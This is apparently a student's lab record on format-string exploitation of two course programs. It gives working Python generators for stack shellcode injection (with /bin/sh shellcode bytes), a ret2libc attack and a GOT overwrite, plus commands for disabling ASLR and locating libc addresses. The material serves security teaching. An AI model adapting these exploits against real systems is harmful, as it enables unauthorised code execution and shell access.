Information System Security Lab1 Record

prog1 Change var Value

Attack approach: Exploit printf function vulnerability, use %.nx for n-digit length characters, then use %n to write the length of previously printed characters at the given address.

  1. First, configure the environment and compile the program

    1
    2
    3
    4
    5
    6
    # Disable ASLR
    sudo sysctl -w kernel.randomize_va_space=0

    # Compile prog1.c as 32-bit, need to modify fread to fgets in the source file
    # Remember not to use -fno-stack-protector option
    gcc -z execstack -o prog1 prog1.c
  2. Execute the program and view the layout

    1
    2
    # %08x | %08x | %08x | %08x | %08x
    .\prog1
    1
  3. Construct format string to modify to 0x66887799

    1
    sh exploit_prog1_1.sh bfffed54
    2
  4. Construct format string to modify to 0xdeadbeef

    1
    sh exploit_prog1_2.sh bfffed54

prog2 shellcode injection, obtain shell

Attack approach: Modify the function return address to the address of the injected shellcode. Note that shellcode executes on the stack, so enable stack execution.

  1. Enable stack protection and stack execution

    1
    gcc -fstack-protector -z execstack prog2.c -o prog2
  2. Look at the relevant addresses, need to overwrite the return address to the shellcode address

    1
    echo -e "%08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x | %08x" > input2
    3
  3. Also need to confirm how many %.8x are needed to point the pointer to the beginning of the str array

    4
  4. Our goal is to overwrite the return address to a position in the array, then obtain shell through sled instructions. Fill in the corresponding parameters in exploit.py. To hit the sled instructions, we need to add a number, need to try several times, basically 80 is just enough.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    #!/usr/bin/python3
    import sys

    # This shellcode creates a local shell
    local_shellcode= (
    "\x31\xc0\x31\xdb\xb0\xd5\xcd\x80"
    "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50"
    "\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x00"
    ).encode('latin-1')


    N = 200
    # Fill the content with NOP's
    content = bytearray(0x90 for i in range(N))

    # Put the code at the end
    start = N - len(local_shellcode)
    content[start:] = local_shellcode


    # Put the address at the beginning
    addr1 = 0xffffd0ae
    addr2 = 0xffffd0ac
    content[0:4] = (addr1).to_bytes(4,byteorder='little')
    content[4:8] = ("@@@@").encode('latin-1')
    content[8:12] = (addr2).to_bytes(4,byteorder='little')

    # Calculate the value of C
    C = 15

    # For investigation purpose (trial and error)
    #s = "%.8x_"*C + "%n" + "\n"

    # Construct the format string
    small = 0xffff - 12 - C*8
    large = 0x1d0c4 - 0xffff + 75
    s = "%.8x"*C + "%." + str(small) + "x" + "%hn" \
    + "%." + str(large) + "x" + "%hn"
    fmt = (s).encode('latin-1')
    content[12:12+len(fmt)] = fmt

    print(content)

    # Write the content to badfile
    file = open("input2", "wb")
    file.write(content)
    file.close()

prog2 ret2libc injection, obtain shell

Attack approach: This requires enabling stack non-executable protection, so we need to bypass it through ret2libc to obtain shell, i.e., using system("/bin/sh")

  1. Enable Stack Guard and stack non-executable protection, compile command as follows:

    1
    gcc -fstack-protector -z noexecstack prog2.c -o prog2
  2. First run the program tentatively

    image-20240614171040392
  3. Next, need to find the corresponding addresses and construct stack details before control flow hijacking. Specifically, need to find the addresses of system() function and string /bin/sh.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    # Method 1 -- Directly obtain through gdb
    gdb -q prog2
    b printf
    run
    info proc map
    searchmem "/bin/sh" 0xb7d6a000 0xb7f1d000 # Search for string from libc start address to end address on heap
    p system
    p exit

    # Method 2 -- Obtain through calculation (.so base address + offset address)
    ldd ./prog2
    readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "system"
    readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "setuid"
    readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "exit"
    ropper --file /lib32/libc.so.6 --string "/bin/sh"
    gdb -q prog2
    b printf
    run
    info proc map

    First method results:

    image-20240614171317292 image-20240614171351094 image-20240614171414459

    Second method results:

    image-20240614114521711

    Both methods calculate the same results: system: 0xb7da4da0, exit: 0xb7d989d0, “/bin/sh”: 0xb7ec582b

  4. Construct shellcode, overwrite return address to system function address, return address+4 is exit function address, return address+8 as system function parameter overwrite to /bin/sh address.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    #!/usr/bin/python3
    import sys
    import argparse

    def generate_payload(ret_addr, sh_str_addr, exit_addr, system_addr):
    N = 200

    addr = ret_addr
    payload = (addr + 10).to_bytes(4, byteorder='little') # high 2 bytes of /bin/sh string address
    payload += ("@@@@").encode('latin-1')
    payload += (addr + 8).to_bytes(4, byteorder='little') # low 2 bytes of /bin/sh string address
    payload += ("@@@@").encode('latin-1')
    payload += (addr + 6).to_bytes(4, byteorder='little') # high 2 bytes of exit address
    payload += ("@@@@").encode('latin-1')
    payload += (addr + 4).to_bytes(4, byteorder='little') # low 2 bytes of exit address
    payload += ("@@@@").encode('latin-1')
    payload += (addr + 2).to_bytes(4, byteorder='little') # high 2 bytes of system address
    payload += ("@@@@").encode('latin-1')
    payload += (addr).to_bytes(4, byteorder='little') # low 2 bytes of system address

    sh_str_addr = int(sh_str_addr, 16)
    exit_addr = int(exit_addr, 16)
    system_addr = int(system_addr, 16)

    # Construct the format string
    offsets = [
    (sh_str_addr >> 16) - len(payload),
    (sh_str_addr & 0xffff) - (sh_str_addr >> 16),
    (exit_addr >> 16) - (sh_str_addr & 0xffff),
    (exit_addr & 0xffff) - (exit_addr >> 16),
    (system_addr >> 16) - (exit_addr & 0xffff),
    (system_addr & 0xffff) - (system_addr >> 16)
    ]

    # Adjust offsets if necessary
    for i in range(1, len(offsets)):
    if offsets[i] <= 0:
    offsets[i] += 0x10000

    s = "%." + str(offsets[0]) + "x" + "%17$hn" + \
    "%." + str(offsets[1]) + "x" + "%19$hn" + \
    "%." + str(offsets[2]) + "x" + "%21$hn" + \
    "%." + str(offsets[3]) + "x" + "%23$hn" + \
    "%." + str(offsets[4]) + "x" + "%25$hn" + \
    "%." + str(offsets[5]) + "x" + "%27$hn" + "\n"

    payload += (s).encode('latin-1')
    payload += bytearray(0x90 for _ in range(N - len(payload)))

    return payload

    def main():
    parser = argparse.ArgumentParser(description="Generate payload for format string exploit.")
    parser.add_argument('ret_address', type=lambda x: int(x, 16), help="Return address in hexadecimal")
    parser.add_argument('sh_str_address', type=str, help="Address of /bin/sh string in hexadecimal")
    parser.add_argument('exit_address', type=str, help="Address of exit function in hexadecimal")
    parser.add_argument('system_address', type=str, help="Address of system function in hexadecimal")
    args = parser.parse_args()

    payload = generate_payload(args.ret_address, args.sh_str_address, args.exit_address, args.system_address)

    # Write the content to input2
    with open("input2", "wb") as f:
    f.write(payload)

    if __name__ == "__main__":
    main()
    1
    sh exploit_prog2_2.sh bfffeccc b7ec582b b7d989d0 b7da4da0

prog2 GOT table hijacking, call win function

Attack approach: Use printf function to modify the offset printf in the GOT table to the win function address, making the last printf in the fmtstf function execute the win function.

  1. View GOT table, find printf function address as 0x0804a00c

    1
    objdump -R prog2
    image-20240614171850643
  2. View PLT table, see win function address as 0x0804850b

    1
    objdump -d prog2 | grep -A 18 win
    image-20240614171908045
  3. Start attack

    1
    2
    # Enable address randomization
    sudo sysctl -w kernel.randomize_va_space=2
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    #!/usr/bin/python3
    import sys
    import argparse

    def generate_payload(win_addr, printf_addr):

    addr = printf_addr
    payload = (addr + 2).to_bytes(4, byteorder='little') # high 2 bytes of win function address
    payload += ("@@@@").encode('latin-1')
    payload += (addr).to_bytes(4, byteorder='little') # low 2 bytes of win function address

    win_addr = int(win_addr, 16)

    # Calculate the offset values for the format string
    offset1 = (win_addr >> 16) - 3*4 - 8*15
    offset2 = (win_addr & 0xffff) - (win_addr >> 16)

    if offset2 < 0:
    offset2 += 0x10000

    s = "%.8x" * 15 + \
    "%." + str(offset1) + "x" + "%hn" + \
    "%." + str(offset2) + "x" + "%hn" + "\n"

    payload += (s).encode('latin-1')

    return payload

    def main():
    parser = argparse.ArgumentParser(description="Generate payload for format string exploit.")
    parser.add_argument('win_address', type=str, help="Address of win function in hexadecimal")
    parser.add_argument('printf_address', type=lambda x: int(x, 16), help="Address of printf function in hexadecimal")
    args = parser.parse_args()

    payload = generate_payload(args.win_address, args.printf_address)

    # Write the content to input2
    with open("input2", "wb") as f:
    f.write(payload)

    if __name__ == "__main__":
    main()
    1
    sh exploit_prog2_3.sh 0804850b 0804a00c
    image-20240614172148953
    image-20240614173640106